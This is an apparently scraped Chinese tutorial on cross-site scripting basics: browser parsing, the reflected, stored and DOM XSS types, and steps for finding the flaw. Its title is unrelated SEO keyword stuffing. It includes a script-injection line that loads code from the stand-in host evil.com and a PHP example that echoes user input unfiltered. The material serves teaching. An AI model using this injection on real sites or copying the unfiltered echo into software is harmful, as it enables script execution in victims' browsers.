您的位置:首页 > 游戏 > 手游 > 重庆建设信息_网络文化经营许可证办理流程_赛雷猴是什么意思_b站24小时自助下单平台网站

重庆建设信息_网络文化经营许可证办理流程_赛雷猴是什么意思_b站24小时自助下单平台网站

2025/3/11 2:33:19 来源:https://blog.csdn.net/weixin_45626840/article/details/129114671  浏览:    关键词:重庆建设信息_网络文化经营许可证办理流程_赛雷猴是什么意思_b站24小时自助下单平台网站
重庆建设信息_网络文化经营许可证办理流程_赛雷猴是什么意思_b站24小时自助下单平台网站

文章目录

  • 前言
  • 1. 前端知识
  • 2. 什么是XSS
  • 3. 漏洞挖掘
  • 4. 参考


前言

之前对XSS的理解就是停留在弹窗,认为XSS这种漏洞真的是漏洞吗?安全学习了蛮久了,也应该对XSS有更进一步的认识了。


1. 前端知识

现代浏览器是一个高度复杂的软件系统,由多个核心组件协同工作,旨在高效、安全地呈现网页内容并执行交互逻辑。对一般用户来讲,其主要功能就是向服务器发出请求,在窗口中展示用户所选择的网络资源。这里所说的资源一般是HTML文档,也可以是PDF、图片等其他类型。资源的位置由用户使用URI指定。
在这里插入图片描述

说白了,浏览器这个软件,可以通过网络下载资源并展示,主要是一种叫HTML格式文本文档。我们来看一个网页问文档:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>HTML文档</title>
</head>
<body><p id="p1">The current date and time is:<script type="text/javascript">document.write("<script>" + "alert(1)"+ "<\/script>")document.getElementById('p1').innerHTML = new Date()</script></p>
</body>
</html>

浏览器的渲染引擎中的核心模块HTML解析器会逐行解析这个HTML文本文件输出内容,遇到<script></script>这个标签时,会将其内的文本交给JavaScript引擎解释执行。如果用户提交的输入(数据)被解析为Js代码(指令),即产生XSS漏洞。

2. 什么是XSS

我们从它的名字开始,Cross-site Scripting,这个scriptinging,应该理解为一个动名词,“脚本+执行”的意思,全部翻译过来就是跨站点的脚本执行。顾名思义就是第三方站点的(恶意的)脚本执行

重点应该是放在scripting-脚本执行上,而不是cross-site -- 跨站上。

  • “跨站”是因为绝大多数XSS攻击都是加载远程/第三方域上的脚本,因为很多时候输入的内容都是有长度限制的。真正的XSS攻击<script>alert(1)</script>弹窗毫无意义,所以攻击代码会比较长,一般会注入类似下面这样的代码来引入第三方遇上的脚本资源
    <script src="http://www.evil.com/xss.js"></script>
  • 脚本执行才是我们根本想要的东西,将我们的“恶意脚本”放在在目标用户的浏览器上执行

上代码:xss.php

$selectChar = $_GET['key']; 	//接收前端提交的数据
/*
可能是数据库查询,又或者是其他业务逻辑
*/
echo $selectChar;				//将来自前端的数据写入响应

最常见的一个场景:搜索框,返回搜索结果的时候通常会显示“xxxx的搜索结果”,如果提交的攻击字符串后端接收后不经过滤直接返回,前端浏览器将该字符串解析为JavaScript代码执行,即产生了XSS。提取用户提交的输入并将其插入到服务器响应的HTML代码中,是XSS漏洞的一个显著特征。如果应用程序没有实施任何过滤或精华措施,那么它很容易受到攻击。

我们用一些Web应用常见的功能点/典型的应用场景,来区分XSS的类型:

  1. 反射型XSS
    搜索框就是一个典型的反射型XSS,用户提交的输入经后端直接返回,造成Js代码执行。
  2. 存储型XSS
    留言板/评论区,用户提交的输入是存储在服务器(不管是内存、数据库还hi文件系统),其他用户请求页面时,留言/评论也会一起加载,造成Js代码执行
  3. DOM型XSS
    DOM型XSS不需要服务器解析响应的直接参与,由DOM(Document Object Model)解析渲染造成Js代码执行。DOM是一套API规范,浏览器实现并提供了DOM API 供网页开发者操作HTML文档。通俗地讲,DOM就是浏览器内置给Js引擎的对象,允许我们对HTML文件中的标签进行增上改查。浏览器通过document对象获取URL中的数据,直接解析为JS代码执行,不需要服务器的参与,就是DOM型XSS。

3. 漏洞挖掘

  1. 在每个输入点提交一个良性字符串
  2. 监控字符串在`响应/页面“中的是否出现及其出现的位置
  3. 对于每个响应,确定显示数据时的上下文
  4. 针对语法上下文尝试引入Js脚本

4. 参考

[1] https://web.dev/howbrowserswork/#The_browser_main_functionality
[2] 《Web前端黑客技术揭秘》
[3] 《黑客攻防技术宝典 Web实战篇》
[4] 小迪安全v2023
[5] deepseek

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com